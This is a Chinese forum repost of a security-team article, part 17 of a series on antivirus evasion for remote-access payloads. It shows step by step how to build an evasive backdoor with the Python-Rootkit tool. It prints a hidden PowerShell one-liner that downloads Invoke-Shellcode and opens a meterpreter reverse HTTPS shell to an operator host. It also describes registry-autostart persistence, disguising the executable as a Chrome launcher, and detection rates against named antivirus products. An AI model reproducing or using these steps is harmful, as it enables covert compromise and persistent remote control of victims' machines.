搜索

[26973] 2020-04-27_远控免杀专题(17)-Python-Rootkit免杀(VT免杀率769)

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-19
2020-04-27_远控免杀专题(17)-Python-Rootkit免杀(VT免杀率769) 远 控 免 杀 专 题 ( 1 7 ) - P y t h o n - R o o t k i t 免 杀 ( V T 免 杀 率 7 / 6 9 ) M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 4 - 2 7 以 下 文 章 来 源 于 T i d e 安 全 团 队   ， 作 者 重 剑 无 锋 声 明 ： 文 中 所 涉 及 的 技 术 、 思 路 和 工 具 仅 供 以 安 全 为 目 的 的 学 习 交 流 使 用 ， 任 何 人 不 得 将 其 用 于 非 法 用 途 以 及 盈 利 等 目 的 ， 否 则 后 果 自 行 承 担 ！ 声 明 ： 文 中 所 涉 及 的 技 术 、 思 路 和 工 具 仅 供 以 安 全 为 目 的 的 学 习 交 流 使 用 ， 任 何 人 不 得 将 其 用 于 非 法 用 途 以 及 盈 利 等 目 的 ， 否 则 后 果 自 行 承 担 ！ 本 专 题 文 章 导 航 本 专 题 文 章 导 航 1 . 远 控 免 杀 专 题 ( 1 ) - 基 础 篇 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 3 L Z _ c j 2 g D C 1 b Q A T x q B f w e g 2 . 远 控 免 杀 专 题 ( 2 ) - m s f v e n o m 隐 藏 的 参 数 ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 1 r 0 i a k L p n L r j C r O p 2 g T 1 0 w 3 . 远 控 免 杀 专 题 ( 3 ) - m s f 自 带 免 杀 ( V T 免 杀 率 3 5 / 6 9 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / A 0 C Z s l L h C L O K _ H g k H G c p E A 4 . 远 控 免 杀 专 题 ( 4 ) - E v a s i o n 模 块 ( V T 免 杀 率 1 2 / 7 1 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / Y n n C M 7 W 2 0 x S c v 5 2 k _ u b x Y Q 5 . 远 控 免 杀 专 题 ( 5 ) - V e i l 免 杀 ( V T 免 杀 率 2 3 / 7 1 ) : h t t p s : / / m p . w e i x i n . q q . c o m / s / - P H V I A Q V y U 8 Q I p H w c p N 4 y w 6 . 远 控 免 杀 专 题 ( 6 ) - V e n o m 免 杀 ( V T 免 杀 率 1 1 / 7 1 ) : h t t p s : / / m p . w e i x i n . q q . c o m / s / C b f x u p S W E P B 8 6 t B Z s m x N C Q 7 . 远 控 免 杀 专 题 ( 7 ) - S h e l l t e r 免 杀 ( V T 免 杀 率 7 / 6 9 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / A S n l d n 6 n k 6 8 D 4 b w k f Y m 3 G g 8 . 远 控 免 杀 专 题 ( 8 ) - B a c k D o o r - F a c t o r y 免 杀 ( V T 免 杀 率 1 3 / 7 1 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / A 3 0 J H h X h w e 4 5 x V 7 h v 8 j v V Q 9 . 远 控 免 杀 专 题 ( 9 ) - A v e t 免 杀 ( V T 免 杀 率 1 4 / 7 1 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / E I f q A b M C 8 H o C 6 x c Z P 9 S X p A 1 0 . 远 控 免 杀 专 题 ( 1 0 ) - T h e F a t R a t 免 杀 ( V T 免 杀 率 2 2 / 7 0 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / z O v w f m E t b k p G W W B n 6 4 2 I C A 1 1 . 远 控 免 杀 专 题 ( 1 1 ) - A v o i d z 免 杀 ( V T 免 杀 率 2 3 / 7 1 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / T n f T X i h l y v 6 9 6 u C i v 3 a W f g 1 2 . 远 控 免 杀 专 题 ( 1 2 ) - G r e e n - H a t - S u i t e 免 杀 ( V T 免 杀 率 2 3 / 7 0 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / M V J T X O I q j g L 7 i E H r n q 6 O J g 1 3 . 远 控 免 杀 专 题 ( 1 3 ) - z i r i k a t u 免 杀 ( V T 免 杀 率 3 9 / 7 1 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / 5 x L u u 5 U f F 4 c Q b C q _ 6 J e q y A 1 4 . 远 控 免 杀 专 题 ( 1 4 ) - A V I a t o r 免 杀 ( V T 免 杀 率 2 5 / 6 9 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / J Y M q _ q H v n s l V l q i j H N n y 8 Q 1 5 . 远 控 免 杀 专 题 ( 1 5 ) - D K M C 免 杀 ( V T 免 杀 率 8 / 5 5 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / U Z q O B Q K E M c X t F 5 Z U 7 E 5 5 F g 1 6 . 远 控 免 杀 专 题 ( 1 6 ) - U n i c o r n 免 杀 ( V T 免 杀 率 2 9 / 5 6 ) ： h t t p s : / / m p . w e i x i n . q q . c o m / s / y 7 P 6 b v H R F e s 8 5 4 E A H A P O z w 1 7 . 远 控 免 杀 专 题 ( 1 7 ) - P y t h o n - R o o t k i t 免 杀 ( V T 免 杀 率 7 / 6 9 ) ： 本 文 文 章 打 包 下 载 及 相 关 软 件 下 载 ： 文 章 打 包 下 载 及 相 关 软 件 下 载 ： 免 杀 能 力 一 览 表 免 杀 能 力 一 览 表 T i d e 安 全 团 队 安 全 团 队   . T i d e 安 全 团 队 以 信 安 技 术 研 究 为 目 标 ， 致 力 于 分 享 高 质 量 原 创 文 章 、 开 源 安 全 工 具 、 交 流 安 全 技 术 ， 研 究 方 向 覆 盖 网 络 攻 防 、 W e b 安 全 、 移 动 终 端 、 安 全 开 发 、 物 联 网 / 工 控 安 全 / A I 安 全 等 多 个 领 域 ， 对 安 全 感 兴 趣 的 小 伙 伴 可 以 关 注 我 们 。 h t t p s : / / g i t h u b . c o m / T i d e S e c / B y p a s s A n t i V i r u s
几 点 说 明 ： 几 点 说 明 ： 1 、 上 表 中 标 识 、 上 表 中 标 识   √   说 明 相 应 杀 毒 软 件 未 检 测 出 病 毒 ， 也 就 是 代 表 了 说 明 相 应 杀 毒 软 件 未 检 测 出 病 毒 ， 也 就 是 代 表 了 B y p a s s 。 。 2 、 为 了 更 好 的 对 比 效 果 ， 大 部 分 测 试 、 为 了 更 好 的 对 比 效 果 ， 大 部 分 测 试 p a y l o a d 均 使 用 均 使 用 m s f 的 的 模 块 生 成 。 模 块 生 成 。 3 、 由 于 本 机 测 试 时 只 是 安 装 了 、 由 于 本 机 测 试 时 只 是 安 装 了 3 6 0 全 家 桶 和 火 绒 ， 所 以 默 认 情 况 下 全 家 桶 和 火 绒 ， 所 以 默 认 情 况 下 3 6 0 和 火 绒 杀 毒 情 况 指 的 是 静 态 和 火 绒 杀 毒 情 况 指 的 是 静 态 + 动 态 查 杀 。 动 态 查 杀 。 3 6 0 杀 毒 版 本 杀 毒 版 本 ( 2 0 2 0 . 0 1 . 0 1 ) ， 火 绒 版 本 ， 火 绒 版 本 ( 2 0 2 0 . 0 1 . 0 1 ) ， ， 3 6 0 安 全 卫 士 安 全 卫 士 ( 2 0 2 0 . 0 1 . 0 1 ) 。 。 4 、 其 他 杀 软 的 检 测 指 标 是 在 、 其 他 杀 软 的 检 测 指 标 是 在 （ 简 称 （ 简 称 V T ） 上 在 线 查 杀 ， 所 以 可 能 只 是 代 表 了 静 态 查 杀 能 力 ， 数 据 仅 供 参 考 ， 不 足 以 作 为 免 杀 或 杀 软 查 杀 能 力 的 判 断 指 标 。 ） 上 在 线 查 杀 ， 所 以 可 能 只 是 代 表 了 静 态 查 杀 能 力 ， 数 据 仅 供 参 考 ， 不 足 以 作 为 免 杀 或 杀 软 查 杀 能 力 的 判 断 指 标 。 5 、 完 全 不 必 要 苛 求 一 种 免 杀 技 术 能 、 完 全 不 必 要 苛 求 一 种 免 杀 技 术 能 b y p a s s 所 有 杀 软 ， 这 样 的 技 术 肯 定 是 有 的 ， 只 是 没 被 公 开 ， 一 旦 公 开 第 二 天 就 能 被 杀 了 ， 其 实 我 们 只 要 能 所 有 杀 软 ， 这 样 的 技 术 肯 定 是 有 的 ， 只 是 没 被 公 开 ， 一 旦 公 开 第 二 天 就 能 被 杀 了 ， 其 实 我 们 只 要 能 b y p a s s 目 标 主 机 上 的 杀 软 就 足 够 了 。 目 标 主 机 上 的 杀 软 就 足 够 了 。 一 、 一 、 P y t h o n - R o o t k i t 介 绍 介 绍 P y t h o n - R o o t k i t ， 2 0 1 7 年 开 源 的 一 款 工 具 ， 当 时 号 称 B y p a s s   a l l   a n t i - v i r u s ， 主 要 是 对 p y t h o n 代 码 进 行 多 次 编 码 ， 然 后 利 用 p y 2 e x e 把 p y t h o n 代 码 打 包 成 e x e ， 其 实 最 终 执 行 的 是 p o w e r s h e l l 命 令 ， 使 用 了 的 来 反 弹 m s f 的 s h e l l 。 程 序 还 添 加 了 后 门 持 续 化 的 功 能 ， 大 体 就 是 1 0 秒 钟 检 测 一 次 连 接 是 否 正 常 ， 如 果 连 接 不 存 在 就 再 重 连 m s f ， 另 外 还 使 用 了 注 册 表 添 加 了 自 启 动 项 。 原 理 很 简 单 ， 不 过 我 在 前 期 测 试 中 浪 费 了 很 长 时 间 。 。 请 往 下 看 二 、 安 装 二 、 安 装 P y t h o n - R o o t k i t 因 为 要 使 用 p y 2 e x e ， 所 以 我 就 在 w i n d o w s 上 安 装 了 ， 如 果 l i n u x 上 安 装 了 w i n e 后 不 知 道 能 不 能 使 用 p y 2 e x e ， 可 自 行 测 试 。 1 、 先 从 官 网 g i t 到 本 地 w i n d o w s / m e t e r p e r t e r / r e v e r s e _ t c p 5 . 0 . 0 . 8 1 6 0 5 . 0 . 3 4 . 1 6 1 2 . 0 . 0 . 2 0 0 2 v i r u s t o t a l . c o m P o w e r S p l o i t I n v o k e - S h e l l c o d e . p s 1 g i t   c l o n e   h t t p s : / / g i t h u b . c o m / 0 x I s l a m T a h a / P y t h o n - R o o t k i t
2 、 修 改 参 数 进 入 文 件 夹 打 开 文 件 ， 修 改 其 中 的 L H O T S 和 L P O R T ， 这 个 文 件 也 是 后 门 的 主 代 码 然 后 删 掉 或 重 命 名 文 件 夹 中 原 有 的 , 把 改 名 为 3 、 安 装 p y 2 e x e 然 后 还 需 要 安 装 p y 2 e x e ， 我 已 经 下 载 好 了 一 份 p y t h o n 2 . 7 的 p y 2 e x e 安 装 文 件 , 下 载 地 址 ， 下 载 安 装 即 可 。 4 、 安 装 m e t a s p l o i t 郑 重 提 示 ： 需 要 安 装 需 要 郑 重 提 示 ： 需 要 安 装 需 要 4 . 8 . 2 及 以 下 的 版 本 及 以 下 的 版 本 如 果 你 的 m s f 为 4 . 8 . 2 以 上 版 本 ， 那 么 后 门 是 反 弹 不 成 s h e l l 的 。 期 间 看 到 有 人 说 是 p o w e r s h e l l 需 要 3 2 位 的 ， 还 有 说 是 需 要 m s f 生 成 s h e l l c o d e 进 行 配 合 的 ， 众 说 纷 纭 ， 然 后 都 没 解 决 我 的 问 题 。 我 就 是 在 这 里 摸 索 了 好 长 时 间 ， 才 发 现 是 m s f 和 P o w e r S p l o i t 的 问 题 ， 大 体 是 m s f 升 级 到 5 . 0 后 、 P o w e r S p l o i t 升 级 到 3 . 0 后 有 些 之 前 的 功 能 就 不 大 好 使 了 。 所 以 后 来 我 单 独 在 另 一 台 u b u n t u 上 安 装 了 m e t a s p l o i t   4 . 8 . 2 ， 下 载 安 装 一 路 下 一 步 和 y 确 认 就 可 以 三 、 三 、 P y t h o n - R o o t k i t 使 用 说 明 使 用 说 明 P y t h o n - R o o t k i t 使 用 很 简 单 ， 只 要 安 装 好 上 面 的 插 件 后 ， 执 行 就 可 以 了 。 经 分 析 ， 整 个 工 具 的 核 心 代 码 就 一 句 ， 下 载 ， 反 弹 s h e l l 。 P y t h o n - R o o t k i t v i R u 5 s o u r c e . p y v i R u 5 G o o g l e C h r o m e A u t o L a u n c h . p y s o u r c e . p y G o o g l e C h r o m e A u t o L a u n c h . p y p y 2 e x e - 0 . 6 . 9 . w i n 3 2 - p y 2 . 7 . e x e h t t p s : / / g i t h u b . c o m / T i d e S e c / B y p a s s A n t i V i r u s / b l o b / m a s t e r / t o o l s / p y 2 e x e - 0 . 6 . 9 . w i n 3 2 - p y 2 . 7 . e x e w g e t   h t t p s : / / d o w n l o a d s . m e t a s p l o i t . c o m / d a t a / r e l e a s e s / a r c h i v e / m e t a s p l o i t - 4 . 8 . 2 - l i n u x - x 6 4 - i n s t a l l e r . r u n c h m o d   + x   m e t a s p l o i t - 4 . 8 . 2 - l i n u x - x 6 4 - i n s t a l l e r . r u n . / m e t a s p l o i t - 4 . 8 . 2 - l i n u x - x 6 4 - i n s t a l l e r . r u n p y t h o n . e x e   s e t u p . p y I n v o k e - S h e l l c o d e . p s 1
如 果 你 没 成 功 反 弹 s h e l l ， 如 果 你 安 装 的 m s f 版 本 没 问 题 ， 那 么 再 确 认 一 下 你 的 w i n d o w s 测 试 机 能 否 连 接 到 ， 如 果 不 行 的 话 那 肯 定 执 行 不 成 功 的 。 可 以 在 s o u r c e . p y 中 把 远 程 服 务 器 换 成 你 自 己 的 服 务 器 地 址 本 地 可 以 先 测 试 一 下 ， 去 掉 参 数 ， 可 以 看 到 p s 代 码 执 行 情 况 。 三 、 利 用 三 、 利 用 P y t h o n - R o o t k i t 生 成 后 门 生 成 后 门 在 生 成 后 门 前 ， 还 需 要 找 个 . i c o 图 标 文 件 ， 放 在 文 件 夹 中 ， 这 样 文 件 夹 里 需 要 有 下 面 几 个 文 件 下 面 就 可 以 生 成 后 门 了 如 果 前 面 安 装 都 没 问 题 ， 就 会 出 现 这 个 界 面 提 示 生 成 了 后 门 p o w e r s h e l l . e x e     - n o p r o f i l e   - w i n d o w s t y l e   h i d d e n   i e x   ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / P o w e r S h e l l M a f i a / P o w e r S p l o i t / m a s t e r / C o d e E x e c u t i o n / I n v o k e - S h e l l c o d e . p s 1 ' ) ;   I n v o k e - S h e l l c o d e   - P a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s   - L h o s t   1 0 . 2 1 1 . 5 5 . 7   - L p o r t   3 3 3 3   - F o r c e ; h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m - w i n d o w s t y l e   h i d d e n p o w e r s h e l l . e x e     - n o p r o f i l e     i e x   ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 0 . 2 1 1 . 5 5 . 2 / I n v o k e - S h e l l c o d e . p s 1 ' ) ;   I n v o k e - S h e l l c o d e   - P a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s   - L h o s t   1 0 . 2 1 1 . 5 5 . 7   - L p o r t   3 3 3 3   - F o r c e ; v i R u 5 v i R u 5 p y t h o n . e x e   s e t u p . p y G o o g l e C h r o m e A u t o L a u n c h . e x e
使 用 m s f 进 行 监 听 为 什 么 是 监 听 ？ 因 为 只 支 持 和 的 反 弹 m s f 的 s h e l l 。 运 行 目 录 下 的 , 可 正 常 上 线 打 开 杀 软 进 行 测 试 ， 静 态 检 测 都 可 b y p a s s ， 行 为 检 测 时 火 绒 提 示 隐 藏 的 p o w e r s h e l l 行 为 ， 关 闭 火 绒 后 可 正 常 上 线 ， 3 6 0 安 全 卫 士 和 杀 毒 都 没 有 报 警 。 v i r u s t o t a l . c o m 上 查 杀 率 为 7 / 6 9 ， 如 果 有 动 态 检 测 ， 估 计 这 个 查 杀 率 会 非 常 高 。 w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s I n v o k e - S h e l l c o d e . p s 1 w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p s w i n d o w s / m e t e r p r e t e r / r e v e r s e _ h t t p P y t h o n - R o o t k i t v i R u 5 d i s t G o o g l e C h r o m e A u t o L a u n c h . e x e
四 、 四 、 P y t h o n - R o o t k i t 小 结 小 结 P y t h o n - R o o t k i t 在 测 试 中 因 为 m s f 5 一 直 没 法 上 线 折 腾 了 很 长 时 间 ， 官 方 i s s u e 居 然 没 有 反 馈 这 个 问 题 的 ， 后 来 调 试 了 半 天 发 现 是 和 m s f 的 问 题 。 免 杀 效 果 整 体 感 觉 一 般 ， 还 是 p y t h o n 生 成 e x e ， 执 行 后 调 用 p o w e r s h e l l 下 载 ， 然 后 反 弹 s h e l l ， 应 该 很 容 易 触 发 杀 软 的 行 为 检 测 。 五 、 参 考 五 、 参 考 官 方 说 明 ： I n v o k e - S h e l l c o d e   c r a s h ： M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 预 计 预 计 2 0 1 9 年 年 1 0 月 出 版 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 月 出 版 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 1 2 月 出 版 《 月 出 版 《 C T F 竞 赛 秘 笈 竞 赛 秘 笈 - 入 门 篇 》 入 门 篇 》 ， 目 前 在 编 P y t h o n 渗 透 测 试 ， J A V A 代 码 审 计 和 A P T 方 面 的 书 籍 。 团 队 公 众 号 定 期 分 享 关 于 C T F 靶 场 、 内 网 渗 透 、 A P T 方 面 技 术 干 货 ， 从 零 开 始 、 以 实 战 落 地 为 主 ， 致 力 于 做 一 个 实 用 的 干 货 分 享 型 公 众 号 。 官 方 网 站 ： w w w . m s 0 8 0 6 7 . c o m I n v o k e - S h e l l c o d e . p s 1 I n v o k e - S h e l l c o d e . p s 1 h t t p s : / / g i t h u b . c o m / 0 x I s l a m T a h a / P y t h o n - R o o t k i t h t t p s : / / g i t h u b . c o m / P o w e r S h e l l M a f i a / P o w e r S p l o i t / i s s u e s / 3 9
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理